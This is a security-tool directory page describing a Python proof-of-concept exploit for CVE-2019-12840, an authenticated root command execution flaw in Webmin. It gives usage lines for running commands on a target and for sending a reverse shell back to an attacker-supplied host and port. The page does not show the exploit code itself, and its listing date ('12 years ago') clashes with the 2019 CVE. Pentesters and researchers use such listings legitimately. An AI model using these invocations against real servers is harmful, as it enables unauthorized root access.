Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2019-12840 — Esto es una prueba de concepto propia i basica de la vulneravilidad CVE-2019-12840 la qual te da un RCE en root | Kitploit
Tools/GitHubGitHub/pol-ruiz/poc-cve-2019-12840
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubpol-ruiz/poc-cve-2019-12840

PoC-CVE-2019-12840

Esto es una prueba de concepto propia i basica de la vulneravilidad CVE-2019-12840 la qual te da un RCE en root

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Exploit for CVE-2019-12840 in Webmin

This repository contains a Python script that exploits the CVE-2019-12840 vulnerability in Webmin.

Description

The script attempts to log in to a Webmin server and then exploit the CVE-2019-12840 vulnerability. The script accepts several command-line arguments, including the username and password to log in to the Webmin server, the server URL, the server port, the local port for the reverse shell, and a command to execute on the server.

Usage

To use this script, you must provide at least the username, password, and URL of the Webmin server. Here is an example of how to use the script:

python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443

Code Description

The Python script in this repository is structured as follows:

  1. Module imports: The script begins by importing several Python modules necessary for its operation. These include requests for making HTTP requests, argparse for handling command-line arguments, base64 for base64 encoding and decoding, and BeautifulSoup for parsing HTML.

  2. Function definition: The script defines several functions:

  • CVE_2019_12840(url,auth_base64,cmd): This function performs a POST request to a specific URL with a specific payload and verifies the response.
  • login(username,password,url): This function attempts to log in to the Webmin server with a provided username and password.
  • exploit(sid,url,cmd): This function attempts to exploit the CVE-2019-12840 vulnerability on the Webmin server.
  • b64revshell(lhost,lport): This function generates a base64-encoded reverse shell.
    1. Command-line argument handling: The script accepts several command-line arguments, including the username and password to log in to the Webmin server, the server URL, the server port, the local port for the reverse shell, and a command to execute on the server.

    2. Exploit execution: If the script is run as a standalone program (instead of being imported as a module), it will try to log in to the Webmin server and then execute the exploit.

    Program Help

    The script accepts several command-line arguments. Here is an example of how to use the script:

    python3 CVE-2019-12840.py -h

    This will display the program help, which includes the following:

    root@kitploit:~
      _______      ________    ___   ___  __  ___        __ ___   ___  _  _    ___                                      
     / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |__ \ / _ \| || |  / _ \                                     
    | |     \ \  / /| |__ ______ ) | | | || | (_) |______| |  ) | (_) | || |_| | | |                                    
    | |      \ \/ / |  __|______/ /| | | || |\__, |______| | / / > _ <|__   _| | | |                                    
    | |____   \  /  | |____    / /_| |_| || |  / /       | |/ /_| (_) |  | | | |_| |                                    
     \_____|   \/   |______|  |____|\___/ |_| /_/        |_|____|\___/   |_|  \___/                                     
                                                                                                                        
                               by CyberMonkey                                                                              
                                                                                                                        
                 Webmin <= 1.910 RCE (Authorization Required)                                                           
                                                                                                                        
    usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"                                 
    usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443            
                                                                                                                        
                                                                                                                        
    usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
    
    options:
      -h, --help    show this help message and exit
      -U USERNAME   username
      -P PASSWORD   password
      -u URL        target url
      -p PORT       target port
      -lport LPORT  local port for reverse shell
      -c CMD        command to execute
      -lhost LHOST  Send back a reverse shell at port 443
    

    Warning

    This script is a security exploit and should only be used for legitimate purposes, such as penetration testing or security research. It should not be used for illegal activities. Additionally, this script is designed to be used with Webmin servers vulnerable to CVE-2019-12840, so it may not work with all versions of Webmin.

    Download Tool